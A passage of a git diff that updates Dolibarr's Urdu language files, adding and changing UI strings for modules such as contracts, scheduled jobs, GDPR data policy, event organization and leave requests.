اکاؤنٹ استعمال کیا جاتا ہے۔ +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=تھرڈ پارٹی کارڈ پر بیان کردہ وقف اکاؤنٹنگ اکاؤنٹ صرف Subledger اکاؤنٹنگ کے لیے استعمال کیا جائے گا۔ یہ جنرل لیجر کے لیے اور سبلیجر اکاؤنٹنگ کی ڈیفالٹ ویلیو کے طور پر استعمال کیا جائے گا اگر تیسرے فریق پر ڈیڈیکیٹڈ وینڈر اکاؤنٹنگ اکاؤنٹ کی وضاحت نہیں کی گئی ہے۔ ConfirmCloneTax=سماجی/مالیاتی ٹیکس کے کلون کی تصدیق کریں۔ ConfirmCloneVAT=VAT ڈیکلریشن کے کلون کی تصدیق کریں۔ @@ -300,3 +302,4 @@ InvoiceToPay15Days=ادائیگی کے لیے (15 سے 30 دن) InvoiceToPay30Days=ادائیگی کے لیے (> 30 دن) ConfirmPreselectAccount=اکاؤنٹنسی کوڈ کو پہلے سے منتخب کریں۔ ConfirmPreselectAccountQuestion=کیا آپ واقعی اس اکاؤنٹنسی کوڈ کے ساتھ %s منتخب لائنوں کو پہلے سے منتخب کرنا چاہتے ہیں؟ +AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/ur_PK/contracts.lang b/htdocs/langs/ur_PK/contracts.lang index f5008da9565..b99de6c488d 100644 --- a/htdocs/langs/ur_PK/contracts.lang +++ b/htdocs/langs/ur_PK/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=معاہدے/سبسکرپشنز ContractsAndLine=معاہدے اور معاہدے کی لائن Contract=معاہدہ ContractLine=معاہدہ لائن +ContractLines=Contract lines Closing=بند کرنا NoContracts=کوئی معاہدہ نہیں۔ MenuServices=خدمات @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=کیا آپ واقعی اس معاہدہ لائن کو MoveToAnotherContract=سروس کو دوسرے معاہدے میں منتقل کریں۔ ConfirmMoveToAnotherContract=میں نے نیا ہدف معاہدہ منتخب کیا اور تصدیق کی کہ میں اس سروس کو اس معاہدے میں منتقل کرنا چاہتا ہوں۔ ConfirmMoveToAnotherContractQuestion=منتخب کریں کہ کون سا موجودہ معاہدہ (اسی تیسرے فریق کا) ہے، آپ اس سروس کو منتقل کرنا چاہتے ہیں؟ -PaymentRenewContractId=کنٹریکٹ لائن کی تجدید کریں (نمبر %s) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=میعاد ختم ہونے کی تاریخ NoExpiredServices=کوئی میعاد ختم شدہ فعال خدمات نہیں ہیں۔ ListOfServicesToExpireWithDuration=خدمات کی فہرست %s دنوں میں ختم ہونے والی ہے۔ @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=کنٹریکٹ پر دستخط کرن HideClosedServiceByDefault=بند خدمات کو بطور ڈیفالٹ چھپائیں۔ ShowClosedServices=بند خدمات دکھائیں۔ HideClosedServices=بند خدمات کو چھپائیں۔ +UserStartingService=User starting service +UserClosingService=User closing service diff --git a/htdocs/langs/ur_PK/cron.lang b/htdocs/langs/ur_PK/cron.lang index 432b56a5362..2e9136fb77f 100644 --- a/htdocs/langs/ur_PK/cron.lang +++ b/htdocs/langs/ur_PK/cron.lang @@ -26,7 +26,7 @@ CronCommand=کمانڈ CronList=طے شدہ ملازمتیں۔ CronDelete=طے شدہ ملازمتوں کو حذف کریں۔ CronConfirmDelete=کیا آپ واقعی ان شیڈول کردہ جابز کو حذف کرنا چاہتے ہیں؟ -CronExecute=طے شدہ کام شروع کریں۔ +CronExecute=Launch now CronConfirmExecute=کیا آپ واقعی ان طے شدہ ملازمتوں کو ابھی انجام دینا چاہتے ہیں؟ CronInfo=شیڈول کردہ جاب ماڈیول ملازمتوں کو خود بخود انجام دینے کے لیے شیڈول کرنے کی اجازت دیتا ہے۔ ملازمتیں دستی طور پر بھی شروع کی جا سکتی ہیں۔ CronTask=جاب @@ -58,7 +58,7 @@ CronNote=تبصرہ CronFieldMandatory=فیلڈز %s لازمی ہے۔ CronErrEndDateStartDt=اختتامی تاریخ تاریخ آغاز سے پہلے کی نہیں ہو سکتی StatusAtInstall=ماڈیول کی تنصیب کی حالت -CronStatusActiveBtn=شیڈول +CronStatusActiveBtn=Enable scheduling CronStatusInactiveBtn=غیر فعال کریں۔ CronTaskInactive=یہ کام غیر فعال ہے (شیڈول نہیں ہے) CronId=آئی ڈی @@ -82,10 +82,19 @@ UseMenuModuleToolsToAddCronJobs=مینو میں جائیں " ہو JobDisabled=ملازمت غیر فعال MakeLocalDatabaseDumpShort=مقامی ڈیٹا بیس کا بیک اپ MakeLocalDatabaseDump=ایک مقامی ڈیٹا بیس ڈمپ بنائیں۔ پیرامیٹرز ہیں: کمپریشن ('gz' یا 'bz' یا 'none')، بیک اپ کی قسم ('mysql'، 'pgsql'، 'auto')، 1، 'auto' یا فائل کا نام، رکھنے کے لیے بیک اپ فائلوں کی تعداد +MakeSendLocalDatabaseDumpShort=Send local database backup +MakeSendLocalDatabaseDump=Send local database backup by email. Parameters are: to, from, subject, message, filename (Name of file sent), filter ('sql' for backup of database only) +BackupIsTooLargeSend=Sorry, last backup file is too large to be send by email +CleanUnfinishedCronjobShort=Clean unfinished cronjob +CleanUnfinishedCronjob=Clean cronjob stuck in processing when the process is no longer running WarningCronDelayed=توجہ، کارکردگی کے مقصد کے لیے، فعال ملازمتوں کے نفاذ کی اگلی تاریخ جو بھی ہو، آپ کی ملازمتوں کو چلانے سے پہلے زیادہ سے زیادہ %s گھنٹے تک تاخیر ہو سکتی ہے۔ DATAPOLICYJob=ڈیٹا کلینر اور گمنام JobXMustBeEnabled=جاب %s کا فعال ہونا ضروری ہے۔ +EmailIfError=Email for warning on error +ErrorInBatch=Error when running the job %s + # Cron Boxes LastExecutedScheduledJob=آخری بار طے شدہ کام NextScheduledJobExecute=اگلا طے شدہ کام انجام دینے کے لیے NumberScheduledJobError=غلطی سے طے شدہ کاموں کی تعداد +NumberScheduledJobNeverFinished=Number of scheduled jobs never finished diff --git a/htdocs/langs/ur_PK/datapolicy.lang b/htdocs/langs/ur_PK/datapolicy.lang new file mode 100644 index 00000000000..aad90c75e2f --- /dev/null +++ b/htdocs/langs/ur_PK/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Customer +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = Customer +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/ur_PK/ecm.lang b/htdocs/langs/ur_PK/ecm.lang index cc4546ea90c..06e18a8501f 100644 --- a/htdocs/langs/ur_PK/ecm.lang +++ b/htdocs/langs/ur_PK/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=دستی ڈائریکٹری ECMSectionAuto=خودکار ڈائریکٹری ECMSectionsManual=دستی درخت ECMSectionsAuto=خودکار درخت +ECMSectionsMedias=Medias tree ECMSections=ڈائریکٹریز ECMRoot=ای سی ایم روٹ ECMNewSection=نئی ڈائریکٹری @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=ذیلی ڈائریکٹریوں میں فائلوں کی ت ECMCreationUser=خالق ECMArea=DMS/ECM ایریا ECMAreaDesc=DMS/ECM (دستاویزی انتظامی نظام/الیکٹرانک مواد کا انتظام) کا علاقہ آپ کو Dolibarr میں تمام قسم کے دستاویزات کو تیزی سے محفوظ کرنے، شیئر کرنے اور تلاش کرنے کی اجازت دیتا ہے۔ -ECMAreaDesc2=* کسی عنصر کے کارڈ سے دستاویزات شامل کرتے وقت خودکار ڈائریکٹریز خود بخود بھر جاتی ہیں۔
      * دستی ڈائریکٹریز کو کسی خاص عنصر سے منسلک نہ ہونے والی دستاویزات کو محفوظ کرنے کے لیے استعمال کیا جا سکتا ہے۔ +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=ڈائریکٹری %s حذف کر دی گئی ہے۔ ECMSectionWasCreated=ڈائرکٹری %s بنائی گئی ہے۔ ECMSearchByKeywords=مطلوبہ الفاظ کے ذریعہ تلاش کریں۔ diff --git a/htdocs/langs/ur_PK/eventorganization.lang b/htdocs/langs/ur_PK/eventorganization.lang index 8229da5d7ab..1b876e269c7 100644 --- a/htdocs/langs/ur_PK/eventorganization.lang +++ b/htdocs/langs/ur_PK/eventorganization.lang @@ -37,7 +37,8 @@ EventOrganization=تقریب کی تنظیم Settings=ترتیبات EventOrganizationSetupPage = ایونٹ آرگنائزیشن سیٹ اپ صفحہ EVENTORGANIZATION_TASK_LABEL = پروجیکٹ کی توثیق ہونے پر خود بخود تخلیق کرنے کے لیے کاموں کا لیبل -EVENTORGANIZATION_TASK_LABELTooltip = آپ ایک منظم واقعہ کی توثیق کرتے ہیں، بعض کاموں کو خود کار طریقے سے مثال کے منصوبے

      میں پیدا کیا جا سکتا ہے: کانفرنس کے
      بھیجیں کال
      کانفرنسوں
      بوتھ کے لئے کال وصول بھیجیں
      شرکاء کے لئے واقعات کو کھولیں سبسکرپشنز
      لئے کال وصول بوتھ کے لئے کال ارسال
      مقررین کو ایونٹ کی یاد دلائیں
      بوتھ ہوسٹر کو ایونٹ کی یاد دہانی بھیجیں +EVENTORGANIZATION_TASK_LABELTooltip = When you validate an event to organize, some tasks can be automatically created in the project

      For example:
      Send Call for Conferences
      Send Call for Booths
      Validate suggestions of Conferences
      Validate application for Booths
      Open subscriptions to the event for attendees
      Send a remind of the event to speakers
      Send a remind of the event to Booth hosters
      Send a remind of the event to attendees +EVENTORGANIZATION_TASK_LABELTooltip2=Keep empty if you don't need to create tasks automatically. EVENTORGANIZATION_CATEG_THIRDPARTY_CONF = فریق ثالث میں شامل کرنے کے لیے زمرہ خود بخود بن جاتا ہے جب کوئی کانفرنس تجویز کرتا ہے۔ EVENTORGANIZATION_CATEG_THIRDPARTY_BOOTH = تیسری پارٹیوں میں شامل کرنے کے لیے زمرہ خود بخود بن جاتا ہے جب وہ بوتھ تجویز کرتے ہیں۔ EVENTORGANIZATION_TEMPLATE_EMAIL_ASK_CONF = کانفرنس کی تجویز موصول ہونے کے بعد بھیجنے کے لیے ای میل کا سانچہ۔ @@ -53,12 +54,15 @@ EVENTORGANIZATION_FILTERATTENDEES_TYPE = In the form to create/add an attendee, # Object # EventOrganizationConfOrBooth= کانفرنس یا بوتھ +EventOrganizationConfOrBoothes=Conferences or Boothes ManageOrganizeEvent = ایونٹ کی تنظیم کا نظم کریں۔ ConferenceOrBooth = کانفرنس یا بوتھ ConferenceOrBoothTab = کانفرنس یا بوتھ AmountPaid = رقم ادا کر دی DateOfRegistration = رجسٹریشن کی تاریخ ConferenceOrBoothAttendee = کانفرنس یا بوتھ اٹینڈی +ApplicantOrVisitor=Applicant or visitor +Speaker=Speaker # # Template Mail @@ -111,15 +115,15 @@ EvntOrgRegistrationHelpMessage = یہاں، آپ کانفرنس کے لیے وو EvntOrgRegistrationConfHelpMessage = یہاں، آپ ایونٹ کے دوران متحرک ہونے کے لیے ایک نئی کانفرنس تجویز کر سکتے ہیں۔ EvntOrgRegistrationBoothHelpMessage = یہاں، آپ ایونٹ کے دوران بوتھ رکھنے کے لیے درخواست دے سکتے ہیں۔ ListOfSuggestedConferences = تجویز کردہ کانفرنسوں کی فہرست -ListOfSuggestedBooths = تجویز کردہ بوتھوں کی فہرست -ListOfConferencesOrBooths=کانفرنسوں یا ایونٹ پروجیکٹ کے بوتھ کی فہرست +ListOfSuggestedBooths=Suggested booths +ListOfConferencesOrBooths=Conferences or booths of event project SuggestConference = ایک نئی کانفرنس تجویز کریں۔ SuggestBooth = ایک بوتھ تجویز کریں۔ ViewAndVote = تجویز کردہ واقعات کو دیکھیں اور ووٹ دیں۔ PublicAttendeeSubscriptionGlobalPage = ایونٹ کی رجسٹریشن کے لیے پبلک لنک PublicAttendeeSubscriptionPage = صرف اس ایونٹ کی رجسٹریشن کے لیے پبلک لنک MissingOrBadSecureKey = سیکیورٹی کلید غلط یا غائب ہے۔ -EvntOrgWelcomeMessage = یہ فارم آپ کو ایونٹ میں ایک نئے شریک کے طور پر رجسٹر کرنے کی اجازت دیتا ہے: %s +EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event EvntOrgDuration = یہ کانفرنس %s پر شروع ہوتی ہے اور %s پر ختم ہوتی ہے۔ ConferenceAttendeeFee = ایونٹ کے لیے کانفرنس کے شرکاء کی فیس: '%s' %s سے %s تک ہوتی ہے۔ BoothLocationFee = ایونٹ کے لیے بوتھ کا مقام: '%s' %s سے %s تک @@ -129,7 +133,7 @@ LabelOfconference=کانفرنس کا لیبل ConferenceIsNotConfirmed=رجسٹریشن دستیاب نہیں ہے، کانفرنس کی ابھی تصدیق نہیں ہوئی ہے۔ DateMustBeBeforeThan=%s %s سے پہلے ہونا ضروری ہے DateMustBeAfterThan=%s %s کے بعد ہونا چاہیے - +MaxNbOfAttendeesReached=The maximum number of participants has been reached NewSubscription=اندراج OrganizationEventConfRequestWasReceived=کانفرنس کے لیے آپ کی تجویز موصول ہوئی ہے۔ OrganizationEventBoothRequestWasReceived=بوتھ کے لیے آپ کی درخواست موصول ہو گئی ہے۔ @@ -138,6 +142,7 @@ OrganizationEventPaymentOfRegistrationWasReceived=آپ کے ایونٹ کے رج OrganizationEventBulkMailToAttendees=یہ ایک حاضری کے طور پر ایونٹ میں آپ کی شرکت کے بارے میں ایک یاد دہانی ہے۔ OrganizationEventBulkMailToSpeakers=یہ ایک مقرر کی حیثیت سے تقریب میں آپ کی شرکت کی یاد دہانی ہے۔ OrganizationEventLinkToThirdParty=فریق ثالث سے لنک کریں (کسٹمر، سپلائر یا پارٹنر) +OrganizationEvenLabelName=Public name of the conference or booth NewSuggestionOfBooth=بوتھ کے لیے درخواست NewSuggestionOfConference=کانفرنس کے لیے درخواست @@ -153,7 +158,7 @@ VoteOk = آپ کا ووٹ قبول کر لیا گیا ہے۔ AlreadyVoted = آپ پہلے ہی اس ایونٹ کے لیے ووٹ دے چکے ہیں۔ VoteError = ووٹنگ کے دوران ایک خرابی پیش آگئی، براہ کرم دوبارہ کوشش کریں۔ -SubscriptionOk = آپ کی رجسٹریشن کی توثیق کر دی گئی ہے۔ +SubscriptionOk=Your registration has been recorded ConfAttendeeSubscriptionConfirmation = کسی تقریب میں آپ کی رکنیت کی تصدیق Attendee = حاضری PaymentConferenceAttendee = کانفرنس کے شرکاء کی ادائیگی @@ -161,7 +166,9 @@ PaymentBoothLocation = بوتھ کے مقام کی ادائیگی DeleteConferenceOrBoothAttendee=شرکت کنندہ کو ہٹا دیں۔ RegistrationAndPaymentWereAlreadyRecorder=ای میل %s کے لیے رجسٹریشن اور ادائیگی پہلے ہی ریکارڈ کی گئی تھی۔ EmailAttendee=حاضری کا ای میل +EmailCompany=Company email EmailCompanyForInvoice=کمپنی کا ای میل (انوائس کے لیے، اگر حاضری کے ای میل سے مختلف ہو) ErrorSeveralCompaniesWithEmailContactUs=اس ای میل کے ساتھ کئی کمپنیاں مل گئی ہیں لہذا ہم آپ کی رجسٹریشن کو خودکار طور پر درست نہیں کر سکتے۔ براہ کرم دستی توثیق کے لیے ہم سے %s پر رابطہ کریں۔ ErrorSeveralCompaniesWithNameContactUs=اس نام کی کئی کمپنیاں ملی ہیں اس لیے ہم آپ کی رجسٹریشن کو خودکار طور پر درست نہیں کر سکتے۔ براہ کرم دستی توثیق کے لیے ہم سے %s پر رابطہ کریں۔ NoPublicActionsAllowedForThisEvent=اس تقریب کے لیے عوام کے لیے کوئی عوامی کارروائی نہیں ہے۔ +MaxNbOfAttendees=Max number of attendees diff --git a/htdocs/langs/ur_PK/holiday.lang b/htdocs/langs/ur_PK/holiday.lang index da01ba7ce46..18d5fb218af 100644 --- a/htdocs/langs/ur_PK/holiday.lang +++ b/htdocs/langs/ur_PK/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM -Holidays=چھوڑو +Holidays=Leaves +Holiday=Leave CPTitreMenu=چھوڑو MenuReportMonth=ماہانہ بیان MenuAddCP=چھٹی کی نئی درخواست +MenuCollectiveAddCP=New collective leave request NotActiveModCP=اس صفحہ کو دیکھنے کے لیے آپ کو ماڈیول Leave کو فعال کرنا ہوگا۔ AddCP=چھٹی کی درخواست کریں۔ DateDebCP=شروع کرنے کی تاریخ @@ -56,6 +58,7 @@ ConfirmDeleteCP=اس چھٹی کی درخواست کو حذف کرنے کی تص ErrorCantDeleteCP=غلطی آپ کو اس چھٹی کی درخواست کو حذف کرنے کا حق نہیں ہے۔ CantCreateCP=آپ کو چھٹی کی درخواستیں کرنے کا حق نہیں ہے۔ InvalidValidatorCP=آپ کو اپنی چھٹی کی درخواست کے لیے منظور کنندہ کا انتخاب کرنا چاہیے۔ +InvalidValidator=The user chosen isn't an approver. NoDateDebut=آپ کو شروع کی تاریخ کا انتخاب کرنا ہوگا۔ NoDateFin=آپ کو ایک اختتامی تاریخ منتخب کرنی ہوگی۔ ErrorDureeCP=آپ کی چھٹی کی درخواست میں کام کا دن شامل نہیں ہے۔ @@ -79,6 +82,8 @@ MotifCP=وجہ UserCP=صارف ErrorAddEventToUserCP=غیر معمولی چھٹی شامل کرتے وقت ایک خرابی پیش آگئی۔ AddEventToUserOkCP=غیر معمولی چھٹی کا اضافہ مکمل ہو گیا ہے۔ +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=تبدیلی کے نوشتہ جات دیکھیں LogCP="بیلنس آف لیو" میں کی گئی تمام اپ ڈیٹس کا لاگ ActionByCP=کی طرف سے اپ ڈیٹ @@ -86,6 +91,13 @@ UserUpdateCP=کے لیے اپ ڈیٹ کیا گیا۔ PrevSoldeCP=پچھلا بیلنس NewSoldeCP=نیا بیلنس alreadyCPexist=اس مدت پر چھٹی کی درخواست پہلے ہی کی جا چکی ہے۔ +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=Groups +users=Users +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=چھٹی کی درخواست کا ابتدائی دن LastDayOfHoliday=چھٹی کی درخواست کا اختتامی دن BoxTitleLastLeaveRequests=تازہ ترین %s ترمیم شدہ چھٹی کی درخواستیں۔ @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s عام طور پر غیر کام کا دن ہوتا ہ BlockHolidayIfNegative=Block if balance negative LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=چھوڑنے کی درخواست %s کو مسودہ، منسوخ یا حذف کرنے سے انکار کیا جانا چاہیے +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/ur_PK/install.lang b/htdocs/langs/ur_PK/install.lang index 167e05d0c94..bb93fadd3bf 100644 --- a/htdocs/langs/ur_PK/install.lang +++ b/htdocs/langs/ur_PK/install.lang @@ -51,7 +51,6 @@ DatabaseName=ڈیٹا بیس کا نام DatabasePrefix=ڈیٹا بیس ٹیبل کا سابقہ DatabasePrefixDescription=ڈیٹا بیس ٹیبل کا سابقہ۔ اگر خالی ہے تو، llx_ پر ڈیفالٹ۔ AdminLogin=Dolibarr ڈیٹا بیس کے مالک کے لیے صارف کا اکاؤنٹ۔ -PasswordAgain=پاس ورڈ کی تصدیق کو دوبارہ ٹائپ کریں۔ AdminPassword=Dolibarr ڈیٹا بیس کے مالک کے لیے پاس ورڈ۔ CreateDatabase=ڈیٹا بیس بنائیں CreateUser=صارف اکاؤنٹ بنائیں یا Dolibarr ڈیٹا بیس پر صارف اکاؤنٹ کی اجازت دیں۔ @@ -89,7 +88,7 @@ LoginAlreadyExists=پہلے سے موجود ہے DolibarrAdminLogin=Dolibarr ایڈمن لاگ ان AdminLoginAlreadyExists=Dolibarr ایڈمنسٹریٹر اکاؤنٹ ' %s ' پہلے سے موجود ہے۔ اگر آپ کوئی اور بنانا چاہتے ہیں تو واپس جائیں۔ FailedToCreateAdminLogin=Dolibarr ایڈمنسٹریٹر اکاؤنٹ بنانے میں ناکام۔ -WarningRemoveInstallDir=تنبیہ، حفاظتی وجوہات کی بناء پر، ایک بار انسٹال یا اپ گریڈ مکمل ہونے کے بعد، آپ کو ایک فائل install.lock کو Dolibarr دستاویز ڈائرکٹری میں شامل کرنا چاہئے تاکہ انسٹال ٹولز کے حادثاتی/بد نیتی پر مبنی استعمال کو دوبارہ روکا جا سکے۔ +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. FunctionNotAvailableInThisPHP=اس پی ایچ پی میں دستیاب نہیں ہے۔ ChoosedMigrateScript=منتقلی اسکرپٹ کا انتخاب کریں۔ DataMigration=ڈیٹا بیس کی منتقلی (ڈیٹا) @@ -209,7 +208,12 @@ HideNotAvailableOptions=غیر دستیاب اختیارات چھپائیں۔ ErrorFoundDuringMigration=نقل مکانی کے عمل کے دوران خرابیوں کی اطلاع دی گئی تھی لہذا اگلا مرحلہ دستیاب نہیں ہے۔ غلطیوں کو نظر انداز کرنے کے لیے، آپ یہاں کلک کر سکتے ہیں ، لیکن ہو سکتا ہے ایپلیکیشن یا کچھ فیچرز درست طریقے سے کام نہ کریں جب تک کہ غلطیاں حل نہ ہو جائیں۔ YouTryInstallDisabledByDirLock=ایپلیکیشن نے خود اپ گریڈ کرنے کی کوشش کی، لیکن انسٹال/اپ گریڈ پیجز کو سیکیورٹی کے لیے غیر فعال کر دیا گیا ہے (ڈائریکٹری کا نام .lock لاحقہ سے تبدیل کر دیا گیا ہے)۔
      YouTryInstallDisabledByFileLock=ایپلیکیشن نے خود اپ گریڈ کرنے کی کوشش کی، لیکن انسٹال/اپ گریڈ پیجز کو سیکیورٹی کے لیے غیر فعال کر دیا گیا ہے (ڈولیبر دستاویزات کی ڈائرکٹری میں ایک لاک فائل install.lock کی موجودگی سے)۔
      +YouTryUpgradeDisabledByMissingFileUnLock=The application tried to self-upgrade, but the upgrade process is currently not allowed.
      ClickHereToGoToApp=اپنی درخواست پر جانے کے لیے یہاں کلک کریں۔ ClickOnLinkOrRemoveManualy=اگر اپ گریڈ جاری ہے تو براہ کرم انتظار کریں۔ اگر نہیں تو درج ذیل لنک پر کلک کریں۔ اگر آپ ہمیشہ یہی صفحہ دیکھتے ہیں، تو آپ کو دستاویزات کی ڈائرکٹری میں install.lock فائل کو ہٹانا/اس کا نام تبدیل کرنا ہوگا۔ +ClickOnLinkOrCreateUnlockFileManualy=If an upgrade is in progress, please wait... If not, you must create a file upgrade.unlock into the Dolibarr documents directory. Loaded=بھری ہوئی FunctionTest=فنکشن ٹیسٹ +NodoUpgradeAfterDB=No action requested by external modules after upgrade of database +NodoUpgradeAfterFiles=No action requested by external modules after upgrade of files or directories +MigrationContractLineRank=Migrate Contract Line to use Rank (and enable Reorder) diff --git a/htdocs/langs/ur_PK/interventions.lang b/htdocs/langs/ur_PK/interventions.lang index f6302271d88..773e49f06d2 100644 --- a/htdocs/langs/ur_PK/interventions.lang +++ b/htdocs/langs/ur_PK/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=مداخلت کے ریکارڈ کے لیے تار InterventionStatistics=مداخلت کے اعدادوشمار NbOfinterventions=مداخلتی کارڈز کی تعداد NumberOfInterventionsByMonth=ماہ کے لحاظ سے مداخلتی کارڈز کی تعداد (توثیق کی تاریخ) -AmountOfInteventionNotIncludedByDefault=مداخلت کی رقم پہلے سے طے شدہ طور پر منافع میں شامل نہیں ہوتی ہے (زیادہ تر معاملات میں، ٹائم شیٹس کا استعمال وقت کی گنتی کے لیے کیا جاتا ہے)۔ ہوم سیٹ اپ میں 1 میں PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT اختیار شامل کریں-دوسرے کو شامل کرنے کے لیے۔ +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. InterId=مداخلت کی شناخت InterRef=مداخلت کا حوالہ InterDateCreation=تاریخ تخلیق مداخلت @@ -66,3 +66,7 @@ RepeatableIntervention=مداخلت کا سانچہ ToCreateAPredefinedIntervention=پہلے سے طے شدہ یا بار بار چلنے والی مداخلت بنانے کے لیے، ایک مشترکہ مداخلت بنائیں اور اسے مداخلت کے سانچے میں تبدیل کریں۔ ConfirmReopenIntervention=کیا آپ واقعی مداخلت %s کو کھولنا چاہتے ہیں؟ GenerateInter=مداخلت پیدا کریں۔ +FichinterNoContractLinked=Intervention %s has been created without a linked contract. +ErrorFicheinterCompanyDoesNotExist=Company does not exist. Intervention has not been created. +NextDateToIntervention=Date for next intervention generation +NoIntervention=No intervention diff --git a/htdocs/langs/ur_PK/loan.lang b/htdocs/langs/ur_PK/loan.lang index 927a82db1e7..6f706677e6b 100644 --- a/htdocs/langs/ur_PK/loan.lang +++ b/htdocs/langs/ur_PK/loan.lang @@ -28,7 +28,7 @@ CantUseScheduleWithLoanStartedToPaid = Can't generate a timeline for a loan with CantModifyInterestIfScheduleIsUsed = اگر آپ شیڈول استعمال کرتے ہیں تو آپ دلچسپی میں ترمیم نہیں کر سکتے # Admin ConfigLoan=ماڈیول قرض کی ترتیب 